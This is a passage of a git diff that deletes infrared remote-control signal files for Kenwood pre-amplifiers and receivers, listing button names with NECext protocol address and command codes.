TAPE_A_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPEA_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPE_A_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPE_A_FF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: TAPEA_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPE_A_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEA_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: TAPE_A_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: TAPEB_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPE_B_R_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPE_B_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPE_B_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPE_B_FF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPEB_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPE_B_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPE_B_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir deleted file mode 100644 index 461f9fd49..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: DOLBY_PROLOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: PRESENCE_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 04 00 00 00 -# -name: PRESENCE_LEVEL_DWN -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 04 00 00 00 -# -name: PRESENCE_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: PRESENCE_LEVEL_UP -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: DOLBY_3_STEREO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0E 00 00 00 -# -name: DOLBY_3STEREO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0E 00 00 00 -# -name: DSP_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 85 00 00 00 -# -name: VISUAL_FIX -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 8F 00 00 00 -# -name: CHANNEL_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_LEVEL_DWN -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9F 00 00 00 -# -name: CHANNEL_LEVEL_UP -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9F 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C2 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir deleted file mode 100644 index e0739c03f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: VCR1_STOP_[] -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: VCR1_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VCR1_FFWD_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: VCR1_REW_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: TV_+10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: VCR1_PLAY_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: VCR1_PAUSE_ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: TV_CH_^_(ANY_^) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: TV_CH_V_(ANY_V) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: TV_VOL_^_(P.CALL_>) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: TV_VOL_V_(P.CALL_<) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VCR1_FUNCTION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: TV_MUTE_(BAND) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VCR1_ANY_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: VCR1_ANY_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: TV_VCR/TV_(LVL_AUD) -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: VCR1_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: VCR1_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: VCR1_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: VCR1_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: VCR1_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: VCR1_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: VCR1_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: VCR1_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: VCR1_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: VCR1_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: VCR1_REC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir deleted file mode 100644 index 206648456..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: LD_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: LD_3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: LD_4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: LD_5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: LD_6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: LD_7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: LD_8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: LD_9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: LD_0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0A 00 00 00 -# -name: LD_POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 16 00 00 00 -# -name: LD_>>_(TUNING_>>) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: LD_PLAY_>_(P.CALL) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: LD_<<_(TUNING_<<) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: LD_PAUSE_(AUTO) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: LD_STOP_(BAND) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: LD_SEARCH_>>_(ANY_^) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: LD_SEARCH_<<_(ANY_V) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2B 00 00 00 -# -name: LD_OPEN/CLOSE_(REC) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: LD_+10 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir deleted file mode 100644 index 3195a00b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD_0 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 00 00 00 00 -# -name: LD_1 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 01 00 00 00 -# -name: LD_2 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 02 00 00 00 -# -name: LD_3 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 03 00 00 00 -# -name: LD_4 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 04 00 00 00 -# -name: LD_5 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 05 00 00 00 -# -name: LD_6 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 06 00 00 00 -# -name: LD_7 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 07 00 00 00 -# -name: LD_8 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 08 00 00 00 -# -name: LD_9 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 09 00 00 00 -# -name: LD_+10 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 0A 00 00 00 -# -name: LD_FUNCTION -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 10 00 00 00 -# -name: LD_STOP -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 11 00 00 00 -# -name: LD_PAUSE -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 12 00 00 00 -# -name: LD_SCAN_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 14 00 00 00 -# -name: LD_SCAN_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 15 00 00 00 -# -name: LD_ANY_V -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 16 00 00 00 -# -name: LD_ANY_^ -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 17 00 00 00 -# -name: LD_ENTER -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 19 00 00 00 -# -name: LD_PLAY -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9A 00 00 00 -# -name: LD_POWER -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir deleted file mode 100644 index ee1149a0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir +++ /dev/null @@ -1,1790 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD/LD_SCAN_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD_ANY_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD/LD_SCAN_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD_ANY_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: CD_DISC_SKIP_(AUTO) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: CD_FUNCTION -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: CENTER_LEVEL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0A 00 00 00 -# -name: AUDIO_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0A 00 00 00 -# -name: SURROUND_CENTER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: CENTER_LEVEL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: AUDIO_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: TUNER/CD_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: TUNER/CD/LD_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: CD/AUDIO_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: EQ_EFFECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0F 00 00 00 -# -name: EQUALIZER_EFFECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0F 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 1C 00 00 00 -# -name: MENU_ON_SCREEN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 1D 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 40 00 00 00 -# -name: M2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 41 00 00 00 -# -name: SURROUND_MEMORY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 44 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 44 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 44 00 00 00 -# -name: SURROUND_M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 45 00 00 00 -# -name: M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 45 00 00 00 -# -name: M_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 45 00 00 00 -# -name: M_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 46 00 00 00 -# -name: M_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 47 00 00 00 -# -name: DELAY_TIME_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: AUDIO_ANY_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: V_DELAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: SURROUND_DELAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: DELAY_TIME_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: AUDIO_ANY_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 55 00 00 00 -# -name: SURROUND_TONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE_ON/OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: SURROUND_TEST_ZONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: AUDIO_FUNCTION -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: ON/OFF_TEST_TONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 57 00 00 00 -# -name: MODE_TEST_TONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 57 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 59 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER/CD_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER/CD/LD_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: CD/AUDIO_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: TUNER/CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: TUNER/CD/LD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: CD/AUDIO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: TUNER/CD_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: TUNER/CD/LD_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: CD/AUDIO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: TUNER/CD_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: TUNER/CD/LD_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: CD/AUDIO_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: TUNER/CD_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: TUNER/CD/LD_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: CD/AUDIO_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: TUNER/CD_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: TUNER/CD/LD_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: CD/AUDIO_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: TUNER/CD_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: TUNER/CD/LD_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: CD/AUDIO_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: TUNER/CD_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: TUNER/CD/LD_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: CD/AUDIO_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: TUNER/CD_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: TUNER/CD/LD_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: CD/AUDIO_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: TUNER/CD_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: TUNER/CD/LD_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: CD/AUDIO_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8A 00 00 00 -# -name: TUNER_P.CALL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_P.SCAN_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: P.CALL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: RCVR_P.CALL_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8E 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: RCVR_BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: AM-FM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: CD/LD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE2/MONITOR -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE2_(MONITOR) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE_2_(MONITOR) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: TUNER_P.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: TUNER_P.SCAN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: TUNER_P.CALL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: P.SCAN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: TUNER_P.SCAN_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: P.CALL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: RCVR_P.CALL_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_CTRL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: MAIN_VOLUME_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: 